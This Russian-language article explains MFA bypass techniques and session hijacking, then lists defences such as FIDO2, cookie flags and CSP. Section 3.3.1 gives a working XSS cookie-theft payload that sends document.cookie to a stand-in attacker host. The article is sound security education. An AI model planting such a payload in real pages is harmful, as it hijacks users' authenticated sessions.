MFA Bypass и Session Hijacking: современные техники атак и способы защиты
Многофакторная аутентификация (MFA) на протяжении последних лет стала одним из ключевых инструментов защиты аккаунтов. Её активно внедряют в корпоративных сетях, социальных сетях, почтовых сервисах, онлайн-банках и даже в игровых платформах. Однако рост популярности MFA привёл и к увеличению числа атак, направленных на её обход. Одновременно с этим по-прежнему остаётся актуальной техника, известная как session hijacking — перехват пользовательской сессии с целью входа в аккаунт без ввода логина, пароля и факторов аутентификации.
Эта статья представляет собой подробное исследование одновременно двух связанных направлений современной кибербезопасности: MFA bypass и session hijacking. Мы разберём, как работают подобные атаки, какие техники используют злоумышленники, какие ошибки допускают пользователи и администраторы, и как можно защититься на уровне поведения, конфигурации инфраструктуры и политики безопасности.
1. Что такое MFA и почему его пытаются обойти
MFA (Multi-Factor Authentication) — это механизм проверки пользователя сразу по нескольким независимым факторам. Обычно используется комбинация:
- то, что знает пользователь (пароль, PIN);
- то, что принадлежит пользователю (смартфон, токен, приложение-аутентификатор);
- то, чем является пользователь (биометрия – отпечаток пальца, лицо);
- то, где находится пользователь (геолокация, IP-адрес, устройство).
С точки зрения защиты MFA действительно значительно усложняет жизнь злоумышленникам. Однако в реальности существует множество способов, позволяющих злоумышленнику либо полностью обойти MFA, либо обмануть пользователя и заставить его выдать нужный код или токен.
Почему злоумышленники атакуют MFA
- Пароли легко угадать или украсть — фишинг, перебор, утечки баз данных.
- MFA часто добавлен поверх старой системы, без должной архитектуры безопасности.
- Пользователи не понимают, как работает MFA и легко ведутся на social engineering.
- Компании используют слабые или устаревшие факторы — SMS, email-коды.
- Сессии остаются активными после аутентификации, что открывает путь для session hijacking.
Обход MFA — не магия. Это совокупность ошибок в архитектуре, логике системы и поведении пользователей.
2. MFA Bypass: современные техники и примеры атак
Сегодня существует несколько десятков различных методов обхода многофакторной аутентификации. Ниже рассмотрены наиболее актуальные, активно применяемые в реальных атаках.
2.1. Фишинг и проксирование трафика
Это самая распространённая техника обхода. Злоумышленник создаёт фишинговый сайт, полностью копирующий оригинальную страницу входа. Однако на этот сайт «накручивается» обратный прокси — сервис, который передаёт логин и пароль в реальную систему и перехватывает MFA-код.
Популярные инструменты атакующих:
- Evilginx2
- Modlishka
- Muraena
- EvilnoVNC
Как работает атака
- Пользователь переходит по фишинговой ссылке.
- Вводит логин и пароль.
- Сервис атакующего в реальном времени передает данные настоящему серверу.
- Система запрашивает MFA-код.
- Пользователь вводит код на фишинговом сайте.
- Атакующий перехватывает токен авторизации и получает действительную сессию.
Таким образом, злоумышленнику не нужно знать код — он получает полный авторизационный токен, который уже прошёл MFA.
2.2. MFA Fatigue (атака на усталость)
Рост популярности push-уведомлений привёл к появлению нового типа атаки: злоумышленник массово отправляет жертве запросы на подтверждение входа. Жертва устаёт от потока уведомлений и случайно нажимает «Разрешить».
Подобные атаки уже использовались против крупных компаний, включая Uber, Cisco и Microsoft.
2.3. Перехват SMS-кодов
SMS считается одним из самых слабых факторов. Причины:
- Перехват через SS7 уязвимости;
- SIM-swapping (перевыпуск SIM-карты злоумышленнику);
- Фальшивые базовые станции (Stingrays);
- Вредоносные приложения, считывающие SMS.
Несмотря на то что многие компании отказались от SMS, в банковской сфере и государственных сервисах эта система ещё очень распространена.
2.4. Man-in-the-Browser (MitB)
Вредоносное ПО может внедряться в браузер жертвы и получать доступ к:
- куки;
- токенам сессий;
- введённым паролям;
- MFA-кодам, отображаемым на экране.
Фактически для пользователя это выглядит как обычная работа браузера, но злоумышленник уже действует от имени жертвы.
2.5. Брутфорс одноразовых кодов
Некоторые системы допускают слишком много попыток ввода OTP-кода. Это позволяет атакующему перебрать возможные комбинации.
Особенно опасно в системах, где:
- код короткий (4–6 цифр);
- нет защиты от большого количества попыток;
- время жизни кода слишком длинное.
2.6. Использование украденных токенов
Даже если MFA работает идеально, проблема может быть в клиентской стороне. Если злоумышленник крадёт refresh-token или session-token, то система считает его уже прошедшим MFA.
Методы кражи:
- вредоносные расширения браузера;
- кража куки через XSS;
- доступ к файловой системе пользователя;
- фишинговые сайты, имитирующие страницу ошибки.
3. Session Hijacking: захват сессии и его связь с MFA bypass
Session hijacking — это перехват сессионного идентификатора (cookie, token), который сервер использует для подтверждения авторизации пользователя. Если злоумышленник получает такой токен, он может войти в аккаунт без ввода пароля или MFA.
3.1. Основные виды session hijacking
- Session Sniffing — перехват трафика (Wi-Fi атаки, ARP-спуфинг).
- Session Fixation — навязывание пользователю заранее созданной сессии.
- Cross-site scripting (XSS) — внедрение JS-кода для кражи куки.
- Cross-site request forgery (CSRF) — выполнение действий от имени жертвы.
- Malware-based hijacking — вредоносное ПО крадёт куки и токены.
- Token replay — повторное использование перехваченного токена.
3.2. Почему session hijacking так опасен
Главная проблема заключается в том, что после успешного MFA входа система больше не проверяет MFA-фактор. Она доверяет сессионному токену как доказательству, что пользователь уже прошёл авторизацию.
Поэтому session hijacking фактически является мощным методом MFA bypass: злоумышленник просто крадёт токен, который уже прошёл проверку.
3.3. Техники кражи сессии
Рассмотрим подробнее ключевые методы.
3.3.1. XSS
Если на сайте есть XSS-уязвимость, злоумышленник может выполнить JavaScript, который отправит ему куки пользователя:
<script>fetch('https://attacker.com/steal?c=' + document.cookie)</script>
Всё — вход в аккаунт уже в руках атакующего.
3.3.2. ARP-спуфинг в локальной сети
В общественных Wi-Fi злоумышленник может перехватывать незашифрованные пакеты, в том числе и сессионные cookie. HTTPS защищает от этого, но используются техники SSL-strip, DNS-spoofing и фальшивые точки доступа.
3.3.3. Перехват refresh-token через malware
Множество банковских троянов, включая Emotet, Lokibot, Redline и Raccoon Stealer, специализируются на краже токенов браузера. После получения токена злоумышленник может авторизовываться в сервисах, не вызывая MFA.
3.4. Session Fixation
Злоумышленник заранее создаёт токен сессии и заставляет пользователя использовать его, например, отправляя ссылку вида:
https://example.com/login?session_id=ABC123
Если сервер не обнуляет токен при входе, атакующий получает доступ к уже авторизованной жертве.
4. Реальные примеры атак
4.1. Взлом Uber (2022)
Хакер использовал комбинацию social engineering и атаки MFA Fatigue. После десятков push-уведомлений сотрудник Uber нажал «ОК» и выдал доступ к корпоративной сети.
4.2. Атака на Microsoft (2022)
Лига Lapsus$ использовала прокси-фишинг и MFA-fatigue, чтобы проникнуть в инфраструктуру и получить доступ к корпоративному репозиторию.
4.3. Facebook Session Hijacking (старые баги)
Ранние версии Facebook позволяли перехватывать незашифрованные куки через Wi-Fi, что было основой для популярного инструмента Firesheep.
5. Как защититься от MFA bypass
5.1. Укрепление аутентификации
- Использовать FIDO2/WebAuthn (U2F-ключи) — стандарт, который невозможно перехватить фишингом.
- Отказаться от SMS и использовать приложения-аутентификаторы.
- Ограничить количество запросов MFA (защита от MFA fatigue).
- Включить проверку устройства: отпечатки устройств, fingerprinting.
5.2. Защита пользователей
- Обучить сотрудников не подтверждать неизвестные запросы MFA.
- Использовать VPN и Zero Trust модель.
- Проверять URL перед вводом кода.
5.3. Архитектурные меры
- Так называемый «phishing-resistant MFA».
- Контроль необычных входов (география, IP, устройство).
- Срок жизни токенов должен быть минимальным.
- Верификация токенов на стороне сервера (привязка к IP, User-Agent, fingerprint).
6. Как защититься от session hijacking
6.1. Технические меры
- Включение cookie-флагов:
HttpOnly,Secure,SameSite=Strict. - Обязательное использование HTTPS.
- Перегенерация session ID после входа.
- Блокировка токенов при выходе.
6.2. Защита от XSS
- Content Security Policy (CSP).
- Экранирование данных.
- Запрет inline-скриптов.
6.3. Защита от сетевых атак
- VPN при работе в публичных сетях.
- WPA3 в корпоративных Wi-Fi.
- Мониторинг ARP-спуфинга.
6.4. Защита на уровне поведения
- Оповещения о новых входах.
- Ограничение параллельных сессий.
- Автоматический выход при подозрительной активности.
7. Заключение
Обход MFA и захват сессий — это две стороны одной монеты. Даже самая сильная аутентификация не сможет защитить пользователя, если злоумышленник перехватит уже созданный токен или выманит код через фишинг. Современные подходы к безопасности требуют комплексного рассмотрения всего жизненного цикла авторизации — от момента ввода логина до истечения срока действия токена.
И MFA bypass, и session hijacking — это не только технические атаки. Они используют социальную инженерию, ошибки в архитектуре, уязвимости веб-приложений и слабые политики безопасности. Полная защита возможна только при использовании комбинации технических, поведенческих и организационных мер.
Кибербезопасность — это процесс, а не одноразовое действие. Даже самые новые методы защиты со временем теряют актуальность, и нужно постоянно учитывать лучшие практики, мониторить новейшие угрозы и своевременно обновлять подходы к аутентификации и управлению сессиями.